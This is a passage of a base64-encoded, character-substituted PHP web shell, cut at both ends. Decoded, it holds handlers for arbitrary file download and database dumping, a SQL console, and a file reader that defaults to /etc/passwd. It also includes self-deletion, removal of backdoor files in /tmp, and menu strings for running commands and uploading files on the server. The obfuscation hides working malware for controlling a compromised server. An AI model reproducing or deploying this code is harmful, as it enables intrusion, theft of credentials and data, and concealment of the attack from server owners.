HRoNHMtPnIyd3NbJDRdKS4nXCcpOyc7DQogIAkgIH0NCiAgICBicjUxazsNCiAgICBjMXM1ICdNU1NRTCc6DQogICAgICR0aDRzLT5kM21wWzBdID0gJyMjIE1TU1FMIGQzbXAnOw0KICAgICA0ZigkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gJy4kdDFibDUpIT02KSByNXQzcm4gMDsNCiAgCSA0ZighJHRoNHMtPmc1dF9yNXMzbHQoKSkgcjV0M3JuIDA7DQogIAkgZjJyKCQ0PTA7JDQ8JHRoNHMtPm4zbV9yMndzOyQ0KyspDQogIAkgIHsNCiAgICAgIGYycjUxY2goJHRoNHMtPnIyd3NbJDRdIDFzICRrPT4kdikgeyR0aDRzLT5yMndzWyQ0XVska10gPSBAMWRkc2wxc2g1cygkdik7fQ0KICAJICAkdGg0cy0+ZDNtcFtdID0gJ0lOU0VSVCBJTlRPICcuJHQxYmw1LicgKCcuQDRtcGwyZDUoIiwgIiwgJHRoNHMtPmMybDNtbnMpLicpIFZBTFVFUyAoXCcnLkA0bXBsMmQ1KCInLCAnIiwgJHRoNHMtPnIyd3NbJDRdKS4nXCcpOyc7DQogIAkgIH0NCiAgICBicjUxazsNCiAgICBjMXM1ICdQMnN0Z3I1U1FMJzoNCiAgICAgJHRoNHMtPmQzbXBbMF0gPSAnIyMgUDJzdGdyNVNRTCBkM21wJzsNCiAgICAgNGYoJHRoNHMtPnEzNXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHQxYmw1KSE9NikgcjV0M3JuIDA7DQogIAkgNGYoISR0aDRzLT5nNXRfcjVzM2x0KCkpIHI1dDNybiAwOw0KICAJIGYycigkND0wOyQ0PCR0aDRzLT5uM21fcjJ3czskNCsrKQ0KICAJICB7DQogICAgICBmMnI1MWNoKCR0aDRzLT5yMndzWyQ0XSAxcyAkaz0+JHYpIHskdGg0cy0+cjJ3c1skNF1bJGtdID0gQDFkZHNsMXNoNXMoJHYpO30NCiAgCSAgJHRoNHMtPmQzbXBbXSA9ICdJTlNFUlQgSU5UTyAnLiR0MWJsNS4nICgnLkA0bXBsMmQ1KCIsICIsICR0aDRzLT5jMmwzbW5zKS4nKSBWQUxVRVMgKFwnJy5ANG1wbDJkNSgiJywgJyIsICR0aDRzLT5yMndzWyQ0XSkuJ1wnKTsnOw0KICAJICB9DQogICAgYnI1MWs7DQogICAgYzFzNSAnT3IxY2w1JzoNCiAgICAgICR0aDRzLT5kM21wWzBdID0gJyMjIE9SQUNMRSBkM21wJzsNCiAgICAgICR0aDRzLT5kM21wW10gID0gJyMjIDNuZDVyIGMybnN0cjNjdDQybic7DQogICAgYnI1MWs7DQogICAgZDVmMTNsdDoNCiAgICAgcjV0M3JuIDA7DQogICAgYnI1MWs7DQogICAgfQ0KICAgcjV0M3JuIDY7DQogIH0NCiBmM25jdDQybiBjbDJzNSgpDQogIHsNCiAgIHN3NHRjaCgkdGg0cy0+ZGIpDQogICAgew0KICAJYzFzNSAnTXlTUUwnOg0KICAJIEBteXNxbF9jbDJzNSgkdGg0cy0+YzJubjVjdDQybik7DQogICAgYnI1MWs7DQogICAgYzFzNSAnTVNTUUwnOg0KICAgICBAbXNzcWxfY2wyczUoJHRoNHMtPmMybm41Y3Q0Mm4pOw0KICAgIGJyNTFrOw0KICAgIGMxczUgJ1Ayc3RncjVTUUwnOg0KICAgICBAcGdfY2wyczUoJHRoNHMtPmMybm41Y3Q0Mm4pOw0KICAgIGJyNTFrOw0KICAgIGMxczUgJ09yMWNsNSc6DQogICAgIEAyYzRfY2wyczUoJHRoNHMtPmMybm41Y3Q0Mm4pOw0KICAgIGJyNTFrOw0KICAgIH0NCiAgfQ0KIGYzbmN0NDJuIDFmZjVjdDVkX3Iyd3MoKQ0KICB7DQogICBzdzR0Y2goJHRoNHMtPmRiKQ0KICAgIHsNCiAgCWMxczUgJ015U1FMJzoNCiAgCSByNXQzcm4gQG15c3FsXzFmZjVjdDVkX3Iyd3MoJHRoNHMtPnI1cyk7DQogICAgYnI1MWs7DQogICAgYzFzNSAnTVNTUUwnOg0KICAgICByNXQzcm4gQG1zc3FsXzFmZjVjdDVkX3Iyd3MoJHRoNHMtPnI1cyk7DQogICAgYnI1MWs7DQogICAgYzFzNSAnUDJzdGdyNVNRTCc6DQogICAgIHI1dDNybiBAcGdfMWZmNWN0NWRfcjJ3cygkdGg0cy0+cjVzKTsNCiAgICBicjUxazsNCiAgICBjMXM1ICdPcjFjbDUnOg0KICAgICByNXQzcm4gQDJjNHIyd2MyM250KCR0aDRzLT5yNXMpOw0KICAgIGJyNTFrOw0KICAgIGQ1ZjEzbHQ6DQogICAgIHI1dDNybiAwOw0KICAgIGJyNTFrOw0KICAgIH0NCiAgfQ0KIH0NCjRmKCE1bXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZDJ3bmwyMWRfZjRsNSIgJiYgITVtcHR5KCRfUE9TVFsnZF9uMW01J10pKQ0KIHsNCiAgNGYoISRmNGw1PUBmMnA1bigkX1BPU1RbJ2RfbjFtNSddLCJyIikpIHsgNXJyKDYsJF9QT1NUWydkX24xbTUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiAgNWxzNQ0KICAgew0KICAgIEAyYl9jbDUxbigpOw0KICAgICRmNGw1bjFtNSA9IEBiMXM1bjFtNSgkX1BPU1RbJ2RfbjFtNSddKTsNCiAgICAkZjRsNWQzbXAgPSBAZnI1MWQoJGY0bDUsQGY0bDVzNHo1KCRfUE9TVFsnZF9uMW01J10pKTsNCiAgICBmY2wyczUoJGY0bDUpOw0KICAgICRjMm50NW50XzVuYzJkNG5nPSRtNG01X3R5cDU9Jyc7DQogICAgYzJtcHI1c3MoJGY0bDVuMW01LCRmNGw1ZDNtcCwkX1BPU1RbJ2MybXByNXNzJ10pOw0KICAgIDRmICghNW1wdHkoJGMybnQ1bnRfNW5jMmQ0bmcpKSB7IGg1MWQ1cignQzJudDVudC1FbmMyZDRuZzogJyAuICRjMm50NW50XzVuYzJkNG5nKTsgfQ0KICAgIGg1MWQ1cigiQzJudDVudC10eXA1OiAiLiRtNG01X3R5cDUpOw0KICAgIGg1MWQ1cigiQzJudDVudC1kNHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9XCIiLiRmNGw1bjFtNS4iXCI7Iik7DQogICAgNWNoMiAkZjRsNWQzbXA7DQogICAgNXg0dCgpOw0KICAgfQ0KIH0NCjRmKDRzczV0KCRfR0VUWydwaHA0bmYyJ10pKSB7IDVjaDIgQHBocDRuZjIoKTsgNWNoMiAiPGJyPjxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPlsgPDEgaHI1Zj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvMT4gXTwvYj48L2YybnQ+PC9kNHY+IjsgZDQ1KCk7IH0NCg0KDQo0ZiAoITVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJkYl9xMzVyeSIpDQogew0KIDVjaDIgJGg1MWQ7DQogJHNxbCA9IG41dyBteV9zcWwoKTsNCiAkc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOw0KICRzcWwtPmgyc3QgPSAkX1BPU1RbJ2RiX3M1cnY1ciddOw0KICRzcWwtPnAycnQgPSAkX1BPU1RbJ2RiX3AycnQnXTsNCiAkc3FsLT4zczVyID0gJF9QT1NUWydteXNxbF9sJ107DQogJHNxbC0+cDFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOw0KICRzcWwtPmIxczUgPSAkX1BPU1RbJ215c3FsX2RiJ107DQogJHEzNXJ5cyA9IEA1eHBsMmQ1KCc7JywkX1BPU1RbJ2RiX3EzNXJ5J10pOw0KIDVjaDIgJzxiMmR5IGJnYzJsMnI9QmwxY2s+JzsNCiA0ZighJHNxbC0+YzJubjVjdCgpKSA1Y2gyICI8ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYSBjMmwycj0jYTFmZjAwPjxiPkMxbid0IGMybm41Y3QgdDIgU1FMIHM1cnY1cjwvYj48L2YybnQ+PC9kNHY+IjsNCiAgNWxzNQ0KICAgew0KICAgNGYoITVtcHR5KCRzcWwtPmIxczUpJiYhJHNxbC0+czVsNWN0X2RiKCkpIDVjaDIgIjxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hIGMybDJyPSNhMWZmMDA+PGI+QzFuJ3QgczVsNWN0IGQxdDFiMXM1PC9iPjwvZjJudD48L2Q0dj4iOw0KICAgNWxzNQ0KICAgIHsNCiAgICBmMnI1MWNoKCRxMzVyeXMgMXMgJG4zbT0+JHEzNXJ5KQ0KICAgICB7DQogICAgICA0ZihzdHJsNW4oJHEzNXJ5KT5pKQ0KICAgICAgew0KICAgICAgNWNoMiAiPGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWEgYzJsMnI9I2ExZmYwMD48Yj5RMzVyeSMiLiRuM20uIiA6ICIuaHRtbHNwNWM0MWxjaDFycygkcTM1cnksRU5UX1FVT1RFUykuIjwvYj48L2YybnQ+PGJyPiI7DQogICAgICBzdzR0Y2goJHNxbC0+cTM1cnkoJHEzNXJ5KSkNCiAgICAgICB7DQogICAgICAgYzFzNSAnMCc6DQogICAgICAgNWNoMiAiPHQxYmw1IHc0ZHRoPTYwMCU+PHRyPjx0ZCBjbDFzcz1tMTRuPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPkVycjJyIDogPGI+Ii4kc3FsLT41cnIyci4iPC9iPjwvZjJudD48L3RkPjwvdHI+PC90MWJsNT4iOw0KICAgICAgIGJyNTFrOw0KICAgICAgIGMxczUgJzYnOg0KICAgICAgIDRmKCRzcWwtPmc1dF9yNXMzbHQoKSkNCiAgICAgICAgew0KICAgICAgIAk1Y2gyICI8dDFibDUgdzRkdGg9NjAwJSBiMnJkNXI9MCBjNWxscDFkZDRuZz0wIGM1bGxzcDFjNG5nPTA+IjsNCiAgICAgICAgZjJyNTFjaCgkc3FsLT5jMmwzbW5zIDFzICRrPT4kdikgJHNxbC0+YzJsM21uc1ska10gPSBodG1sc3A1YzQxbGNoMXJzKCR2LEVOVF9RVU9URVMpOw0KICAgICAgIAkkazV5cyA9IEA0bXBsMmQ1KCIgPC9iPjwvZjJudD48L3RkPjx0ZCBjbDFzcz1tMTRuPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPiAiLCAkc3FsLT5jMmwzbW5zKTsNCiAgICAgICAgNWNoMiAiPHRyPjx0ZCBjbDFzcz1tMTRuIGJnYzJsMnI9I29vb29vbz48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4gIi4kazV5cy4iIDwvYj48L2YybnQ+PC90ZD48L3RyPiI7DQogICAgICAgIGYycigkND0wOyQ0PCRzcWwtPm4zbV9yMndzOyQ0KyspDQogICAgICAgICB7DQogICAgICAgICBmMnI1MWNoKCRzcWwtPnIyd3NbJDRdIDFzICRrPT4kdikgJHNxbC0+cjJ3c1skNF1bJGtdID0gaHRtbHNwNWM0MWxjaDFycygkdixFTlRfUVVPVEVTKTsNCiAgICAgICAgICR2MWwzNXMgPSBANG1wbDJkNSgiIDwvZjJudD48L3RkPjx0ZCBjbDFzcz1tMTRuPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPiAiLCRzcWwtPnIyd3NbJDRdKTsNCiAgICAgICAgIDVjaDIgJzx0cj48dGQgY2wxc3M9bTE0bj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT4gJy4kdjFsMzVzLicgPC9mMm50PjwvdGQ+PC90cj4nOw0KICAgICAgICAgfQ0KICAgICAgICA1Y2gyICI8L3QxYmw1PiI7DQogICAgICAgIH0NCiAgICAgICBicjUxazsNCiAgICAgICBjMXM1ICdhJzoNCiAgICAgICAkMXIgPSAkc3FsLT4xZmY1Y3Q1ZF9yMndzKCk/KCRzcWwtPjFmZjVjdDVkX3Iyd3MoKSk6KCcwJyk7DQogICAgICAgNWNoMiAiPHQxYmw1IHc0ZHRoPTYwMCU+PHRyPjx0ZCBjbDFzcz1tMTRuPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjFmZjVjdDVkIHIyd3MgOiA8Yj4iLiQxci4iPC9iPjwvZjJudD48L3RkPjwvdHI+PC90MWJsNT48YnI+IjsNCiAgICAgICBicjUxazsNCiAgICAgICB9DQogICAgICB9DQogICAgIH0NCiAgICB9DQogICAgNWNoMiAiPGJyPjxkNHYgMWw0Z249bDVmdCA0ZD0nbic+PHQxYmw1IHc0ZHRoPTYwMCUgaDU0Z2h0PWUwIGIycmQ1cj0wIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MD4iOw0KICAgIDVjaDIgIjx0cj48dGQgMWw0Z249YzVudDVyPjxiPlNoMncgRDF0MWIxczU8L2I+PC90ZD48dGQgMWw0Z249YzVudDVyPjxiPlNoMncgVDFibDVzPC9iPjwvdGQ+PC90cj4iOw0KICAgIDVjaDIgIjx0cj48dGQ+PHQ1eHQxcjUxIGMybHM9aTAgcjJ3cz1lIG4xbTU9cTM1cnlfZGI+IjsNCiAgICAkcTM1cnlfZGIgPSBteXNxbF9xMzVyeSgiU0hPVyBEQVRBQkFTRVM7Iik7DQogICAgd2g0bDUgKCRxMzVyeV9kYl9yMncgPSBteXNxbF9mNXRjaF8xcnIxeSgkcTM1cnlfZGIpKQ0KICAgIHsNCiAgICAJNWNoMiAkcTM1cnlfZGJfcjJ3WzBdLiJcbiI7DQogICAgfQ0KICAgIDVjaDIgIjwvdDV4dDFyNTE+PC90ZD48dGQ+PGQ0diAxbDRnbj1yNGdodD48dDV4dDFyNTEgYzJscz1lMCByMndzPWUgbjFtNT1xMzVyeV90MWJsNXM+IjsNCiAgICA0ZiAoKCRfUE9TVFsnbXlzcWxfZGInXSkgJiYgJHNxbC0+czVsNWN0X2RiKCkpDQogICAgew0KICAgICAkcTM1cnlfdDFibDVzID0gbXlzcWxfcTM1cnkoIlNIT1cgVEFCTEVTOyIpOw0KICAgICB3aDRsNSAoJHEzNXJ5X3QxYmw1c19yMncgPSBteXNxbF9mNXRjaF8xcnIxeSgkcTM1cnlfdDFibDVzKSkNCiAgICAgew0KICAgICAJNWNoMiAkcTM1cnlfdDFibDVzX3Iyd1swXS4iXG4iOw0KICAgICB9DQogICAgfQ0KICAgIDVjaDIgIjwvdDV4dDFyNTE+PC9kNHY+PC90ZD48L3RyPjwvdDFibDU+PC9kNHY+IjsNCiAgIH0NCiA1Y2gyICI8YnI+PGYycm0gbjFtNT1mMnJtIG01dGgyZD1QT1NUPiI7DQogNWNoMiA0bignaDRkZDVuJywnZGInLDAsJF9QT1NUWydkYiddKTsNCiA1Y2gyIDRuKCdoNGRkNW4nLCdkYl9zNXJ2NXInLDAsJF9QT1NUWydkYl9zNXJ2NXInXSk7DQogNWNoMiA0bignaDRkZDVuJywnZGJfcDJydCcsMCwkX1BPU1RbJ2RiX3AycnQnXSk7DQogNWNoMiA0bignaDRkZDVuJywnbXlzcWxfbCcsMCwkX1BPU1RbJ215c3FsX2wnXSk7DQogNWNoMiA0bignaDRkZDVuJywnbXlzcWxfcCcsMCwkX1BPU1RbJ215c3FsX3AnXSk7DQogNWNoMiA0bignaDRkZDVuJywnbXlzcWxfZGInLDAsJF9QT1NUWydteXNxbF9kYiddKTsNCiA1Y2gyIDRuKCdoNGRkNW4nLCdjbWQnLDAsJ2RiX3EzNXJ5Jyk7DQogNWNoMiAiPGQ0diAxbDRnbj1jNW50NXI+IjsNCiA1Y2gyICI8ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj5VczUgZDF0MWIxczU6IDwvYj48NG5wM3QgdHlwNT10NXh0IG4xbTU9bXlzcWxfZGIgdjFsMzU9XCIiLiRzcWwtPmIxczUuIlwiPjwvZjJudD48YnI+IjsNCiA1Y2gyICI8dDV4dDFyNTEgYzJscz1laSByMndzPTYwIG4xbTU9ZGJfcTM1cnk+Ii4oITVtcHR5KCRfUE9TVFsnZGJfcTM1cnknXSk/KCRfUE9TVFsnZGJfcTM1cnknXSk6KCJTSE9XIERBVEFCQVNFUzsiKSkuIjwvdDV4dDFyNTE+PGJyPjw0bnAzdCB0eXA1PXMzYm00dCBuMW01PXMzYm00dCB2MWwzNT1cIiBSM24gU1FMIHEzNXJ5IFwiPjwvZDR2Pjxicj48YnI+IjsNCiA1Y2gyICI8ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj5MMjFkIGY0bDU6IDwvYj48NG5wM3QgdHlwNT10NXh0IG4xbTU9bDIxZGY0bDUgczR6NT02MDAgdjFsMzU9Ii4oITVtcHR5KCRfUE9TVFsnbDIxZGY0bDUnXSk/KCRfUE9TVFsnbDIxZGY0bDUnXSk6KCIvNXRjL3Axc3N3ZCIpKS4iPiIud3MoYSkuIjw0bnAzdCB0eXA1PXMzYm00dCBuMW01PXMzYm00dCB2MWwzNT1cIiBMMjFkIFwiPjxiciAvPjxiciAvPiI7DQogNWNoMiAiPGI+RjRsNSBjMm50NW50PC9iPjxicj48YnI+IjsNCiA1Y2gyICI8dDV4dDFyNTEgYzJscz02YTYgcjJ3cz02aSBuMW01PXNoMndsMjFkZjRsNT4iOw0KIEBteXNxbF9xMzVyeSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgbDMzdHl0M24iKTsNCiBAbXlzcWxfcTM1cnkoIkNSRUFURSBUQUJMRSBgbDMzdHl0M25gICggYGY0bDVgIExPTkdCTE9CIE5PVCBOVUxMICkiKTsNCiBAbXlzcWxfcTM1cnkoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgXCIiLnN0cl9yNXBsMWM1KCdcXCcsJy8nLCRfUE9TVFsnbDIxZGY0bDUnXSkuIlwiIElOVE8gVEFCTEUgbDMzdHl0M24gRklFTERTIFRFUk1JTkFURUQgQlkgJycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdcbiciKTsNCiAkciA9IEBteXNxbF9xMzVyeSgiU0VMRUNUICogRlJPTSBsMzN0eXQzbiIpOw0KIHdoNGw1KCgkcl9zcWwgPSBAbXlzcWxfZjV0Y2hfMXJyMXkoJHIpKSkgeyA1Y2gyIEBodG1sc3A1YzQxbGNoMXJzKCRyX3NxbFswXSk7IH0NCiBAbXlzcWxfcTM1cnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIGwzM3R5dDNuIik7DQogNWNoMiAiPC90NXh0MXI1MT48L2Q0dj4iOw0KIDVjaDIgIjwvZjJybT4iOw0KIDVjaDIgIjxicj48ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj5bIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8LzE+IF08L2I+PC9mMm50PjwvZDR2PiI7IGQ0NSgpOw0KIH0NCjRmKDRzczV0KCRfR0VUWydkNWw1dDUnXSkpDQogew0KICAgQDNubDRuayhfX0ZJTEVfXyk7DQogfQ0KNGYoNHNzNXQoJF9HRVRbJ3RtcCddKSkNCiB7DQogICBAM25sNG5rKCIvdG1wL2JkcGwiKTsNCiAgIEAzbmw0bmsoIi90bXAvYjFjayIpOw0KICAgQDNubDRuaygiL3RtcC9iZCIpOw0KICAgQDNubDRuaygiL3RtcC9iZC5jIik7DQogICBAM25sNG5rKCIvdG1wL2RwIik7DQogICBAM25sNG5rKCIvdG1wL2RwYyIpOw0KICAgQDNubDRuaygiL3RtcC9kcGMuYyIpOw0KIH0NCjRmKDRzczV0KCRfR0VUWydwaHA0bjQnXSkpDQp7DQo1Y2gyICRoNTFkOw0KZjNuY3Q0Mm4gVV92MWwzNSgkdjFsMzUpDQogew0KIDRmICgkdjFsMzUgPT0gJycpIHI1dDNybiAnPDQ+bjIgdjFsMzU8LzQ+JzsNCiA0ZiAoQDRzX2IyMmwoJHYxbDM1KSkgcjV0M3JuICR2MWwzNSA/ICdUUlVFJyA6ICdGQUxTRSc7DQogNGYgKCR2MWwzNSA9PT0gbjNsbCkgcjV0M3JuICdOVUxMJzsNCiA0ZiAoQDRzXzJiajVjdCgkdjFsMzUpKSAkdjFsMzUgPSAoMXJyMXkpICR2MWwzNTsNCiA0ZiAoQDRzXzFycjF5KCR2MWwzNSkpDQogew0KIEAyYl9zdDFydCgpOw0KIHByNG50X3IoJHYxbDM1KTsNCiAkdjFsMzUgPSBAMmJfZzV0X2MybnQ1bnRzKCk7DQogQDJiXzVuZF9jbDUxbigpOw0KIH0NCiByNXQzcm4gVV93MnJkd3IxcCgoc3RyNG5nKSAkdjFsMzUpOw0KIH0NCmYzbmN0NDJuIFVfdzJyZHdyMXAoJHN0cikNCiB7DQogJHN0ciA9IEB3MnJkd3IxcChAaHRtbHNwNWM0MWxjaDFycygkc3RyKSwgNjAwLCAnPHdiciAvPicsIHRyMzUpOw0KIHI1dDNybiBAcHI1Z19yNXBsMWM1KCchKCZbXjtdKik8d2JyIC8+KFteO10qOykhJywgJyQ2JGE8d2JyIC8+JywgJHN0cik7DQogfQ0KNGYgKEBmM25jdDQybl81eDRzdHMoJzRuNF9nNXRfMWxsJykpDQogew0KICRyID0gJyc7DQogNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCU+JywgJzx0cj48dGQgY2wxc3M9bTE0biBiZ2MybDJyPSNvb29vb28+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWEgYzJsMnI9I2ExZmYwMD48ZDR2IDFsNGduPWM1bnQ1cj48Yj5ENHI1Y3Q0djU8L2I+PC9kNHY+PC9mMm50PjwvdGQ+PHRkIGNsMXNzPW0xNG4gYmdjMmwycj0jb29vb29vPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hIGMybDJyPSNhMWZmMDA+PGQ0diAxbDRnbj1jNW50NXI+PGI+TDJjMWwgVjFsMzU8L2I+PC9kNHY+PC9mMm50PjwvdGQ+PHRkIGNsMXNzPW0xNG4gYmdjMmwycj0jb29vb29vPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hIGMybDJyPSNhMWZmMDA+PGQ0diAxbDRnbj1jNW50NXI+PGI+TTFzdDVyIFYxbDM1PC9iPjwvZDR2PjwvZjJudD48L3RkPjwvdHI+JzsNCiBmMnI1MWNoIChANG40X2c1dF8xbGwoKSAxcyAkazV5PT4kdjFsMzUpDQogIHsNCiAgJHIgLj0gJzx0cj48dGQgY2wxc3M9bTE0bj4nLndzKG8pLic8ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4nLiRrNXkuJzwvYj48L2YybnQ+PC90ZD48dGQgY2wxc3M9bTE0bj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48ZDR2IDFsNGduPWM1bnQ1cj48Yj4nLlVfdjFsMzUoJHYxbDM1WydsMmMxbF92MWwzNSddKS4nPC9iPjwvZDR2PjwvZjJudD48L3RkPjx0ZCBjbDFzcz1tMTRuPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxkNHYgMWw0Z249YzVudDVyPjxiPicuVV92MWwzNSgkdjFsMzVbJ2dsMmIxbF92MWwzNSddKS4nPC9iPjwvZDR2PjwvZjJudD48L3RkPjwvdHI+JzsNCiAgfQ0KIDVjaDIgJHI7DQogNWNoMiAnPC90MWJsNT4nOw0KIH0NCjVjaDIgIjxicj48ZDR2IDFsNGduPWM1bnQ1cj48ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj5bIDwxIGhyNWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8LzE+IF08L2I+PC9mMm50PjwvZDR2PiI7DQpkNDUoKTsNCn0NCjRmKDRzczV0KCRfR0VUWydjcDMnXSkpDQogew0KICAgNWNoMiAkaDUxZDsNCiAgIDVjaDIgJzx0MWJsNSB3NGR0aD02MDAlPjx0cj48dGQgY2wxc3M9bTE0biBiZ2MybDJyPUJsMWNrPjxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hIGMybDJyPSNhMWZmMDA+PGI+Q1BVPC9iPjwvZjJudD48L2Q0dj48L3RkPjwvdHI+PC90MWJsNT48dDFibDUgdzRkdGg9NjAwJT4nOw0KICAgJGNwM2YgPSBAZjRsNSgiY3AzNG5mMiIpOw0KICAgNGYoJGNwM2YpDQogICAgew0KICAgICAgJGMgPSBAczR6NTJmKCRjcDNmKTsNCiAgICAgIGYycigkND0wOyQ0PCRjOyQ0KyspDQogICAgICAgIHsNCiAgICAgICAgICAkNG5mMiA9IEA1eHBsMmQ1KCI6IiwkY3AzZlskNF0pOw0KICAgICAgICAgIDRmKCQ0bmYyWzZdPT0iIil7ICQ0bmYyWzZdPSItLS0iOyB9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQgY2wxc3M9bTE0bj4nLndzKG8pLic8ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4nLnRyNG0oJDRuZjJbMF0pLic8L2I+PC9mMm50PjwvdGQ+PHRkIGNsMXNzPW0xNG4+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+PGQ0diAxbDRnbj1jNW50NXI+PGI+Jy50cjRtKCQ0bmYyWzZdKS4nPC9iPjwvZDR2PjwvZjJudD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAgICAgNWNoMiAkcjsNCiAgICB9DQogICA1bHM1DQogICAgew0KICAgICAgNWNoMiAnPHRyPjx0ZCBjbDFzcz1tMTRuPicud3MobykuJzxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPiAtLS0gPC9iPjwvZjJudD48L2Q0dj48L3RkPjwvdHI+JzsNCiAgICB9DQogICA1Y2gyICc8L3QxYmw1Pic7DQogICA1Y2gyICI8YnI+PGQ0diAxbDRnbj1jNW50NXI+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+PGI+WyA8MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC8xPiBdPC9iPjwvZjJudD48L2Q0dj4iOw0KICAgZDQ1KCk7DQogfQ0KNGYoNHNzNXQoJF9HRVRbJ201bSddKSkNCiB7DQogICA1Y2gyICRoNTFkOw0KICAgNWNoMiAnPHQxYmw1IHc0ZHRoPTYwMCU+PHRyPjx0ZCBjbDFzcz1tMTRuIGJnYzJsMnI9QmwxY2s+PGQ0diAxbDRnbj1jNW50NXI+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWEgYzJsMnI9I2ExZmYwMD48Yj5NRU1PUlk8L2I+PC9mMm50PjwvZDR2PjwvdGQ+PC90cj48L3QxYmw1Pjx0MWJsNSB3NGR0aD02MDAlPic7DQogICAkbTVtZiA9IEBmNGw1KCJtNW00bmYyIik7DQogICA0ZigkbTVtZikNCiAgICB7DQogICAgICAkYyA9IHM0ejUyZigkbTVtZik7DQogICAgICBmMnIoJDQ9MDskNDwkYzskNCsrKQ0KICAgICAgICB7DQogICAgICAgICAgJDRuZjIgPSA1eHBsMmQ1KCI6IiwkbTVtZlskNF0pOw0KICAgICAgICAgIDRmKCQ0bmYyWzZdPT0iIil7ICQ0bmYyWzZdPSItLS0iOyB9DQogICAgICAgICAgJHIgLj0gJzx0cj48dGQgY2wxc3M9bTE0bj4nLndzKG8pLic8ZjJudCBmMWM1PVY1cmQxbjEgczR6NT0tYT48Yj4nLnRyNG0oJDRuZjJbMF0pLic8L2I+PC9mMm50PjwvdGQ+PHRkIGNsMXNzPW0xNG4+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+PGQ0diAxbDRnbj1jNW50NXI+PGI+Jy50cjRtKCQ0bmYyWzZdKS4nPC9iPjwvZDR2PjwvZjJudD48L3RkPjwvdHI+JzsNCiAgICAgICAgfQ0KICAgICAgNWNoMiAkcjsNCiAgICB9DQogICA1bHM1DQogICAgew0KICAgICAgNWNoMiAnPHRyPjx0ZCBjbDFzcz1tMTRuPicud3MobykuJzxkNHYgMWw0Z249YzVudDVyPjxmMm50IGYxYzU9VjVyZDFuMSBzNHo1PS1hPjxiPiAtLS0gPC9iPjwvZjJudD48L2Q0dj48L3RkPjwvdHI+JzsNCiAgICB9DQogICA1Y2gyICc8L3QxYmw1Pic7DQogICA1Y2gyICI8YnI+PGQ0diAxbDRnbj1jNW50NXI+PGYybnQgZjFjNT1WNXJkMW4xIHM0ejU9LWE+PGI+WyA8MSBocjVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC8xPiBdPC9iPjwvZjJudD48L2Q0dj4iOw0KICAgZDQ1KCk7DQogfQ0KJGwxbmc9MXJyMXkoDQovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8NCic1bmdfdDV4dDYnID0+J0V4NWMzdDVkIGMybW0xbmQnLA0KJzVuZ190NXh0YScgPT4nRXg1YzN0NSBjMm1tMW5kIDJuIHM1cnY1cicsDQonNW5nX3Q1eHRvJyA9PidSM24gYzJtbTFuZCcsDQonNW5nX3Q1eHR1JyA9PidXMnJrIGQ0cjVjdDJyeScsDQonNW5nX3Q1eHRpJyA9PidVcGwyMWQgZjRsNXMgMm4gczVydjVyJywNCic1bmdfdDV4dGUnID0+J0wyYzFsIGY0bDUnLA0KJzVuZ190NXh0NycgPT4